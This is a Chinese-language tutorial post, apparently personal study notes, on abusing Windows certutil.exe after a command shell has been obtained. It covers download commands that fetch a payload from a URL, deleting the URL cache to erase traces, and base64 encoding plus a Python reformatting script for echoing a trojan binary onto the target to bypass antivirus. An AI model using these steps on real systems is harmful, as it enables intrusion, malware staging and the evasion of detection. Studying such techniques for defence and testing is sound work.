文件上传的一个骚操作学习(Certutil学习)
前言
学习自Hack学习呀,文件上传的一个骚操作(低权限+BypassAV)
当我们碰到有一个cmdshell,想要下载一个木马然后直接上线,但是直接通过powershell,echo webshell,bitsadmin等方式可能会弹框提示
由于certutil还支持二进制文件的下载,可以通过certutil通过编解码的方式将二进制文件上传上去
文章大部分参考Snowming04,3gstudent
Certutil
Certutil 是 Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,下载恶意文件和免杀
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链
常用的命令参数:
-
-f
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。 -
-split
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。 -
-URLCache
显示或删除URL缓存条目。
无值的命令行选项。
(certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。) -
-encode
将文件编码为Base64 -
-decode
解码Base64编码的文件
下载功能
(1)保存在当前路径,文件名称同URI
certutil.exe -urlcache -split -f 文件url
(2)保存在默认路径,缓存目录中
certutil.exe -urlcache -f 文件url
修改后缀,或者用编辑器打开就是文件内容
缓存目录位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
(3)保存在指定路径并且指定文件名
certutil.exe -urlcache -split -f 文件url file.txt
(4)保存二进制文件
certutil.exe -urlcache -split -f 二进制文件url
同上
清除痕迹
由于每次下载都有缓存,所以每次下载完可以带delete命令删除缓存
查看所有缓存
certutil.exe -urlcache *
删除相应URL缓存
certutil.exe -urlcache -split -f 文件url delete
base64编码转换
base64编码
certutil.exe -encode InFile OutFile
base64解码
certutil.exe -decode InFile OutFile
编码二进制文件
本地编解码
远程编解码
远程需要用echo 写入txt中
直接复制粘贴写入是不行的,可以去掉标识头尾,然后去除空格,作为连贯的字符,这里用Snowming04师傅的格式转化脚本
with open('hello.txt') as f:
with open('hello_new.txt','w') as n:
for i in f.readlines():
i = str(i.split()).strip("['").strip("']")
n.write(i)
由于命令提示符下输入的字符有限制,因此不能直接echo写入
可以按照Snowming04师傅的分段方法,所以工具越小越好,可以直接编解码还原成exe或者dll等二进制文件,再执行上线
参考文章:
https://3gstudent.github.io/3gstudent.github.io/渗透测试中的certutil.exe/
https://mp.weixin.qq.com/s/Cnn5X_-LLPIKmOndD80RAA
http://blog.leanote.com/post/snowming/f883d0b49413(读完雪师傅的文章,感觉Certutil在不出网又能命令执行的环境下能发挥较大用处)
延伸文章:
https://www.cnblogs.com/xiaozi/p/12721960.html